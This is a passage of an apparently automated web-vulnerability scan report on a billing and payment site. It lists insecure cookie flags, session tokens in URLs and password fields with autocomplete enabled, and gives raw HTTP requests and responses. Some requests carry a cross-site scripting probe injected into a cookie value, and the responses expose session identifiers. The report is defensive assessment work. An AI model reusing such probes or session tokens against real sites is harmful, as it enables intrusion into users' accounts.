Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29722


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

2.2. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587201; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10107


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

2.3. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; sitekey=vivid; service=girls; mp_code=cqiu; source_code=default; product_type=live

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Dec 2010 15:06:45 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1c2a76%22-alert%281%29-%22ad8e6afc97; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 0


2.4. https://billing.vs.com/payment/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/index.php?sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; use_new_tpls=1c2a76%22-alert%281%29-%22ad8e6afc97; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Dec 2010 15:11:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=b8a4e58f5c37d455c1f37d60; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 0


3. Session token in URL  previous  next
There are 3 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


3.1. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587201; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10107


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

3.2. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587201; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10107


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<div class="text2">
   
       <a class="link2" href="http://www.vividlive.com/support.php?sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2" target="_blank">Customer Service</a>
...[SNIP]...
<br/>-->
                       
           <a class="link2" href="/payment/index.php?form_type=full&amp;sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2">New User Form &#187;</a>
...[SNIP]...
<br />Use the <a class="link2" a href="/payment/?form_type=full&amp;form_product=&amp;sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2" style="font-weight: bold;">New User Form &#187;</a>
...[SNIP]...

3.3. https://billing.vs.com/payment/index.php  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /payment/index.php?sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 29836


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:19 GMT
Server: Apache
Set-Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29722


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

4.2. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587201; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10107


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

4.3. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; sitekey=vivid; service=girls; mp_code=cqiu; source_code=default; product_type=live

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Dec 2010 15:06:45 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1c2a76%22-alert%281%29-%22ad8e6afc97; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 0


4.4. https://billing.vs.com/payment/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/index.php?sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; use_new_tpls=1c2a76%22-alert%281%29-%22ad8e6afc97; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Dec 2010 15:11:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=b8a4e58f5c37d455c1f37d60; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 0


5. Password field with autocomplete enabled  previous  next
There are 4 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


5.1. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:19 GMT
Server: Apache
Set-Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29722


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
</div>
   
   
   <form id="payment_form" method="post" action="/payment/index.php?sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;PHPSESSID=38aiuoljffah6m691595claoj2" onsubmit="return disable_submit(this)">
   
   <div class="content">
...[SNIP]...
<td class="right" style="background: none;">
                                       <input type="password" id="password" name="ITEM[password]" size="15" maxlength="32" tabindex="2" value="" />&nbsp;(4-32 characters)
                   <div style="height: 22px;" id="password_strength" style="padding: 5px; width: 200px;">
...[SNIP]...

5.2. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:47 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587201; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10107


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
</div>
   
   
   <form id="payment_form" method="post" action="/payment/index.php?sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2" onsubmit="return disable_submit(this)">
   
   <div class="content">
...[SNIP]...
<td class="right">
                       <input type="password" id="password" name="ITEM[password]" size="15" maxlength="32" tabindex="2" value="">
       </td>
...[SNIP]...

5.3. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:46 GMT
Server: Apache
Set-Cookie: PHPSESSID=qmcaomq4rel2lem281qctn0725; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
